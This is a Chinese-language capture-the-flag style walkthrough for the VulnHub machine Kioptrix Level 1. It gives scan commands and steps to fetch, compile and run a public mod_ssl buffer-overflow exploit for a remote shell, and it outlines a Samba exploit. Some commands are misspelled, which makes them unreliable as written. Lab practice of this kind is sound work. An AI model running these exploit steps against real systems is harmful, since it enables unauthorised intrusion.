Kioptrix: Level 1 (#1)
官方网址 https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
攻击机kali linux
一.apache mod_ssl漏洞
二.samba漏洞
方法一:
-
ifcoonfig查看本地ip地址
-
查看网段地址信息,发现192.168.43.64为靶机
-
nmap 192.168.43.64 -O -sS -sV -v查看开启的端口及服务信息
-
dirb http://192.168.43.64 查看目标有哪些路径,这里未发现可利用信息
-
nikto -h 192.168.43.64 查看有哪些漏洞
这里是 + mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756. -
通过这些信息在https://www.exploit-db.com/漏洞库查找出漏洞POC:https://www.exploit-db.com/exploits/47080
-
编译前准备,下载漏洞POC
wpet -O 47080.c https://www.exploit-db.com/exploits/47080 -
下载llbssl-dev库
apt-get install llbssl-dev -
编译
gcc -o exp 47080.c -lcrypto -
运行发现找对应版本,在查询端口服务可看见对应版本
./exp
./exp | grep apache-1.3.20
-
这里发现有0x6a和0x6b,试验后发现只有0x6b可以用
./exp 0x6b 192.168.43.64 -c 40
-
whoami
uname
uname -a
mail
1
exit
方法二:
1.之前使用nmap并没有扫到samba的版本号,这里使用msfconsole查看出samba 2.2.1a
2.在https://www.exploit-db.com/exploits/漏洞库中找到正好匹配的Samba <2.2.8(Linux / BSD)-远程执行代码 https://www.exploit-db.com/exploits/10
3.下载POC-编译-运行